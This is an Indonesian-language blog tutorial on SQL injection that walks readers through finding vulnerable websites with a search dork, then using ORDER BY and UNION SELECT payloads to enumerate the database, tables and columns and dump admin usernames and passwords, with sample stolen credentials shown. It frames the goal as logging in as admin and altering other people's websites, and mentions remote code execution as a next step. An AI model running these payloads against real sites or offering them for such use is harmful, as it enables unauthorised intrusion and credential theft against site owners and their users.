skip to main | skip to sidebar

Tuesday 2 July 2019

Belajar SQL Injection ( SQLi )

0 comments
SQL Injection adalah tehnik hacking yang menyalahgunakan perintah SQL. Metode SQL Injection bisa dibilang mirip dengan XSS ( Basic XSS ) yaitu dengan cara menyisipkan payload berupa query atau perintah sehingga program tidak akan berjalan semestinya. Untuk melakukan SQLi, yang harus dipahami pertama-tama adalah query-query yang digunakan pada SQL. Pada umumnya query yang sering digunakan adalah query CRUD ( Create, Read, Update, Delete ).


Dalam targetnya SQL berbeda dengan XSS. XSS ditujukan untuk user / client tapi jika ada celah lain XSS bisa digunakan juga untuk LFI ( Local File Inclusion ). Untuk SQLi targetnya adalah database, jadi kita bisa menguasai database dan melihat data user ( username dan password ), sehingga kita bisa login tanpa mendaftar, apalagi kalau bisa mendapatkan akun admin, kita bisa mengubah halaman website.

Untuk targetnya bisa kalian cari sendiri dengan Dork sederhana :

inurl: id=

Pilih salah satu target, semisal :

Url : www.target-easy.com/berita.php?id=26

Setelah mendapat target tambahkan nilai / value dari "id" dengan tanda petik tunggal atau ganda. Sehingga URL menjadi seperti ini, lalu enter.

Url : www.target-easy.com/berita.php?id=26"

Langkah-Langkah Melakukan SQL Injection
Jika website tersebut tidak bisa memfilter atau tidak ada security untuk SQL Injection website akan menampilkan pesan error seperti dibawah ini. Hal ini dimanakan Error Based.

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/web-lemah/public_html/berita-action.php on line 2019

Kita sudah mengetahui bahwa website terdapat celah dan dapat di exploitasi. Kita akan mencari banyaknya kolom yang diambil dari database yaitu dengan menggunakan perintah order by {Jumlah_Kolom}. Kita buat URL nya menjadi seperti ini :

Url : www.target-easy.com/berita.php?id=26 order by 10 --

Jika muncul pesan error kurangi jumlah kolom sebanyak 1, sampai tidak error.
Jika tidak error tambahkan kolom sebanyak 1 sampai menemui error. Kalau sudah menemui error, jumlah kolom dikurangi 1.

Semisal kita sudah menemukan banyaknya kolom semisal ada 14 kolom. Ganti perintah order by... dengan perintah and 1=2 union select 1,2,4.. sampai sebanyak kolom tadi.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6,7,8, 9, 10, 11, 12, 13, 14 --

Website akan menampilkan angka-angka sesuai dari kolom yang digunakan. Tampilannya seperti dibawah ini :


Di gambar diatas ada angka 4, 5, dan 7 yang dapat kita gunakan untuk menampilkan data / record dari database. Lanjut, kita akan mencoba menampilkan database yang digunakan didalam website dengan menggunakan perintah database(), kita masukan ke kolom 7.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6, database() ,8, 9, 10, 11, 12, 13, 14 --

Selanjutnya kita coba tampilkan table yang digunakan didalam database menggunakan perintah table_name dan information_schema.tables.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6, group_concat(table_name) ,8, 9, 10, 11, 12, 13, 14 from information_schema.tables --

Kalian akan menemukan banyak table dan kalian bisa juga menemukan table member, user ataupun admin. Setelah mendapatkan nama table kita cari kolom dari table tersebut dengan perintah column_name dan information_schemas.columns dan tambahkan where table_name = "{table_yang_di_pilih}", semisal kita pilih table "admin" yang tampil hanyalah kolom pada table "admin" saja.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6, group_concat(column_name) ,8, 9, 10, 11, 12, 13, 14 from information_schema.columns where table_name = "admin" --

Website akan menampilkan nama-nama kolom dari table seperti, id,name,username,password dan  email. Langkah terakhir adalah melihat data / record berdasarkan kolom yang dibutuhkan dan nama tabel.

Url : www.target-easy.com/berita.php?id=26 and 1=2 union select 1,2,3,4,5,6,group_concat(username, " | ", password, "<br>"),8,9,10,11,12,13,14 from admin --

Hasil dari recordnya seperti ini :

masbro | 5eQrTe
,sopsop | b4uG4n
,norak | v5xZp3
,gaskan | ga3Ad4
,nugraha | nu6r4ha
,bandit | f3rGu5o
,ketawa | ket1w1

Untuk mendapatkan informasi lain, kalian bisa mengganti table dan kolomnya. Selain serangan ke database SQLi juga bisa ditujukan untuk RCE ( Remote Code Execution ). Jika ada yang masih belum dimengerti, silahkan tulis dikolom komentar atau kontak yang tertera.

Terimakasih sudah membaca artikel ini sampai jumpa pada materi berikutnya.